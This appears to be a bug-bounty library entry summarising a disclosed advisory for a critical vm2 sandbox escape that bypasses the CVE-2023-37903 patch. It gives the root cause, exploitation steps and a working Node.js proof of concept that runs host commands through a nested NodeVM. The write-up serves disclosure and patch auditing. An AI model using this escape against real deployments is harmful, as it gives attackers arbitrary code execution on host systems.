# vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE

vm2's CVE-2023-37903 fix used strict equality on options.require, so omitting require with nesting:true bypasses the guard and yields full host RCE.

- Payout: Research
- Severity: critical
- Program: vm2
- Found by: q1uf3ngONEKEY
- Disclosed: 2026-05-29
- CVE: CVE-2026-47137
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-m4wx-m65x-ghrr
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-m4wx-m65x-ghrr
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:incomplete-fix technique:source-review vuln:rce vuln:sandbox-escape

**Target:** NodeVM sandbox (nodevm.js option handling)
**Root cause:** The patch check `options.nesting === true && options.require === false` uses strict equality, so an omitted require (undefined) skips the guard; the destructuring default `require: requireOpts = false` at line 280 then applies require:false after the check.
**Steps:**
1. Instantiate `new NodeVM({ nesting: true })` without specifying require.
2. Inside the sandbox, `require('vm2')` to obtain the vm2 library.
3. Construct an inner `new NodeVM({ require: { builtin: ['child_process'] } })`.
4. Run `require('child_process').execSync('id').toString()` in the inner VM to execute host commands.
**How found:** Reporter read the patch for CVE-2023-37903 and noticed the guard used strict equality against false while the default assignment happened later, so an undefined require slips past the check but still resolves to false.
**Exploitation:** Attacker code running in a NodeVM({nesting:true}) sandbox loads vm2 itself, builds an unconstrained inner NodeVM with child_process builtin access, and executes arbitrary OS commands on the host.
**Escalation:** Nested VM construction escapes the outer sandbox's require restrictions entirely, turning a sandboxed script into host RCE.
**Insight:** When auditing a patch, check whether the guard's comparison matches the type the option actually has at that point in the code; defaults applied after the check (destructuring defaults, ||=, ??=) create undefined-vs-false gaps that bypass strict equality guards.

## Proof of concept (copied exactly from the original report)

**NodeVM nesting:true RCE reproduction script**

```
const { NodeVM } = require('vm2');

// nesting:true, require not specified (defaults to false AFTER the check)
const nvm = new NodeVM({ nesting: true });

const result = nvm.run(`
  const { NodeVM } = require('vm2');
  const inner = new NodeVM({
    require: { builtin: ['child_process'] }
  });
  module.exports = inner.run(
    "module.exports = require('child_process').execSync('id').toString()",
    'exploit.js'
  );
`, 'exploit.js');

console.log(result); // prints host uid/gid — full RCE
```

